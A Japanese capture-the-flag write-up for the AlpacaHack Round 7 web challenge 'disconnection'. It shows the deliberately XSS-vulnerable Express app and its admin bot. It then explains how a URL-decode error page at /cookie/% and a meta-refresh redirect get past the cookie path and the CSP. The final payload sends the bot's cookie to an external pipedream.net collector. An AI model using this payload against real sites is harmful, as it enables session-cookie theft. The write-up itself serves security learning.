[web] disconnection (AlpacaHack Round 7) writeup

---

- Source: AlpacaHack Round 7 (web)
- Author: [ark](https://x.com/arkark_)

---

`/`で任意のJavaScriptを実行できるが、`/`以外にアクセスすると接続が切られてしまうアプリ。
```js
import express from "express";

const html = `
<h1>XSS Playground</h1>
<script>eval(new URLSearchParams(location.search).get("xss"));</script>
`.trim();

express()
  .use("/", (req, res, next) => {
    res.setHeader(
      "Content-Security-Policy",
      "script-src 'unsafe-inline' 'unsafe-eval'; default-src 'none'"
    );
    next();
  })
  .get("/", (req, res) => res.type("html").send(html))
  .all("/*", (req, res) => res.socket.destroy()) // disconnected
  .listen(3000);
```

flagはbotのcookieにあるが、cookieのpathが`/cookie`に設定されており、`/`では窃取できない。

<details><summary>bot.js</summary>

```js
import puppeteer from "puppeteer";

const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1);

const APP_HOST = "disconnection";
const APP_PORT = "3000";
export const APP_URL = `http://${APP_HOST}:${APP_PORT}`;

// Flag format
if (!/^Alpaca{\w+}$/.test(FLAG)) {
  console.log("Bad flag");
  process.exit(1);
}

const sleep = async (ms) => new Promise((resolve) => setTimeout(resolve, ms));

export const visit = async (url) => {
  console.log(`start: ${url}`);

  const browser = await puppeteer.launch({
    headless: "new",
    executablePath: "/usr/bin/chromium",
    args: [
      "--no-sandbox",
      "--disable-dev-shm-usage",
      "--disable-gpu",
      '--js-flags="--noexpose_wasm"',
    ],
  });

  const context = await browser.createBrowserContext();

  try {
    const page = await context.newPage();
    await page.setCookie({
      name: "FLAG",
      value: FLAG,
      domain: APP_HOST,
      path: "/cookie", // 🍪
    });
    await page.goto(url, { timeout: 5_000 });
    await sleep(10_000);
    await page.close();
  } catch (e) {
    console.error(e);
  }

  await context.close();
  await browser.close();

  console.log(`end: ${url}`);
};
```

</details>

`/cookie`以下へアクセスし、接続が切れる前にどうにかしてcookieを窃取する方法を考える。

`res.socket.destroy()`を行っているのはexpressのルーティングの後なので、それよりも前の段階で何か処理を止めれば接続を切られることはない。ここでは、ルーティング中にエラーを発生させる方法を考える。

`/cookie/%`にアクセスすると、URLのデコードに失敗してエラー画面が表示された。
![](https://storage.googleapis.com/zenn-user-upload/9f1d2727b9d0-20241207.png)

これを別ウィンドウで開けば`/`からJavaScriptを実行することができそう。

試しに以下のURLにアクセスしてみると、`/`から`/cookie/%`上でJavaScriptを実行できていることが分かる。
```
http://localhost:3000/?xss=w=open("/cookie/%");setInterval(()=>{alert(w.document.location)},1000)
```
![](https://storage.googleapis.com/zenn-user-upload/baab87d37203-20241207.png)

あとは`document.cookie`を外部に送ればよいが、CSPに`default-src: 'none'`が設定されているため`fetch`や`navigator.sendBeacon`、`<iframe>`などはリクエストがブロックされてしまった。

色々試していると、`<meta>`でのリダイレクトであればブロックされずにアクセスできることが分かった。これを用いて最終的なpayloadを書く。
```js
w=open("/cookie/%");
setTimeout(()=>{
  const metaTag = document.createElement('meta');
  metaTag.setAttribute('http-equiv', 'refresh');
  metaTag.setAttribute('content', `0;url=https://xxxxxxxx.m.pipedream.net?${w.document.cookie}`);
  document.head.appendChild(metaTag);
}, 1000)
```
```
http://disconnection:3000/?xss=w=open("/cookie/%");setTimeout(()=>{const%20metaTag=document.createElement('meta');metaTag.setAttribute('http-equiv','refresh');metaTag.setAttribute('content',`0;url=https://xxxxxxxx.m.pipedream.net?${w.document.cookie}`);document.head.appendChild(metaTag);},1000)
```

このURLをbotに投げるとflagが得られた。
`Alpaca{browser_behavior_is_to0o0o0o0o0o0o0_complicated}`